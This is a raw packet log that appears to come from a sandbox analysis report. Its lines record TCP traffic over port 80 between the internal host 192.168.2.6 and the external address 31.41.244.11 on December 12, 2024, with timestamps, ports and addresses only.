Dec 12, 2024 21:50:11.774405003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.774420977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.774449110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.775120974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.775306940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.775338888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.775355101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.775388956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.776035070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.776233912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.776253939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.776287079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.776319027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.776931047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.777077913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.777097940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.777129889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.777158976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.777990103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.778156996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.778178930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.778191090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.778213978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.778223038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.778767109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.778902054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.778928041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.778949976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.778984070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.779591084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.779654980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.779714108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.779733896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.779763937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.779774904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.780466080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.780559063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.780606031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.780626059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.780670881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.781358957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.781409979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.781481981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.781497955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.781527996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.781541109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.782207966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.782286882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.782315969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.782411098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.782529116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.782574892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.783139944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.783189058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.939603090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.939678907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.939706087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.939794064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.939794064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.939794064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.939930916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.939990044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.940076113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.940097094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.940129042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.940157890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.940670013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.940737009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.940803051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.940851927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.940943956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.940964937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.941019058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.941610098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.941684961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.941746950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.941813946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.941859007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.941957951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.942344904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.942399025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.942492008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.942512035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.942543030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.942568064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.943057060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.943109989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.943161011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.943183899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.943233013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.943794966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.943855047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.943912029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.943932056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.943964958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.943989992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.944601059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.944653988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.944713116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.944729090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.944771051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.944796085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.945386887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.945440054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.945460081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.945480108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.945511103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.945534945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.946119070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.946172953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.946218014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.946238995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.946273088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.946300983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.946844101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.946897030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.946990967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.947015047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.947041988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.947067976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.947698116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.947748899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.947770119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.947793961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.947820902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.947845936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.948400974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.948457003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.948508978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.948529959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.948560953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.948585987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.949150085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.949207067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.949256897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.949275970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.949310064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.949335098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.949908972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.949965000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.950064898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.950093031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.950115919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.950141907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.950685024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.950740099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.950777054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.950798988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.950824022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.950850010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.951606035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.951662064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.951670885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.951688051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.951720953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.951746941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.952183962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.952239037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.952362061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.952383041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.952416897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.952441931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.953002930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.953126907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.953162909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.953181982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.953211069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.953238010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.953871965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.953924894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.953927040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.953944921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.953989983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.954845905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.954900980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.954946041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.954997063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.955189943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.955240965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.955811024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.955864906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.955935955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.955951929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.955991983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.956612110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.956669092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.956706047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.956722021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.956764936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.956789017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.957564116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.957618952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.957808971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.957830906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.957863092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.957889080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.958230972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.958283901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.958733082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.958790064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.958832026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.958854914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.958894014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.958894968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.959500074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.959554911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.959559917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.959579945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.959630966 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.960375071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.960434914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.960526943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.960551023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.960577965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.960602045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.961042881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.961091995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.961184025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.961205959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.961242914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.961270094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.961524010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.961581945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.961622953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.961637974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.961688042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.961688042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.962030888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.962089062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.962132931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.962152004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.962191105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.962215900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.962519884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.962574005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.962613106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.962632895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.962678909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.962678909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.963228941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.963282108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.963291883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.963327885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.963341951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.963377953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.963989973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.964052916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.964144945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.964164972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.964205980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.964205980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.964658022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.964721918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.964775085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.964795113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.964823008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.964848042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.965441942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.965500116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.965522051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.965523958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.965548992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.965569019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.131819963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.131908894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.131918907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.131933928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.131999969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.132000923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.132124901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.132180929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.132308960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.132335901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.132378101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.132405043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.132935047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.132992983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.133038044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.133090019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.133331060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.133394957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.133527040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.133549929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.133599043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.133599043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.134097099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.134159088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.134196043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.134226084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.134253025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.134275913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.134736061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.134792089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.134843111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.134903908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.135075092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.135128021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.135462999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.135529995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.135574102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.135598898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.135631084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.135658026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.136214972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.136272907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.136327982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.136348009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.136379004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.136404037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.137042999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.137098074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.137170076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.137203932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.137257099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.137798071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.137856007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.137870073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.137888908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.137928963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.137953997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.138544083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.138613939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.138649940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.138674021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.138705015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.138736963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.139328957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.139391899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.139421940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.139442921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.139475107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.139501095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.140062094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.140149117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.140151978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.140167952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.140212059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.140212059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.140806913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.140866041 CET	49878	80	192.168.2.6	31.41.244.11
